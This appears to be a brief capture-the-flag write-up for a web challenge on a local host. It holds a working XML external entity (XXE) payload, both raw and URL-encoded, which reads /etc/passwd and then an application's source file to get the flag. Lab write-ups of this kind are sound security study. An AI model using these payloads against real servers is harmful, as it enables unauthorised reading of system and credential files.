Tried couple of different code but all show errors.
Code incorrect. Expected 06947342
Try scan sub directory with Burp
And there is a comment in source code.
http://127.0.0.1/xxxxxxxxxx/admin
http://127.0.0.1/xxxxxxxxxx/get-config
Looks like some config thing using XML
http://127.0.0.1/xxxxxxxxxx/set-config
It actually exist but may need parameter to set the XML
Prepare the XXE payload.
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "/etc/passwd">]><config><location>&xxe;</location></config>
And encode to url format
%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C%21DOCTYPE%20root%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22%2Fetc%2Fpasswd%22%3E%5D%3E%3Cconfig%3E%3Clocation%3E%26xxe%3B%3C%2Flocation%3E%3C%2Fconfig%3E
Successfully write in XXE and 302 redirect to admin page and read out /etc/passwd
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "main.py">]><config><location>&xxe;</location></config>
Execute and get the FLAG in the main.py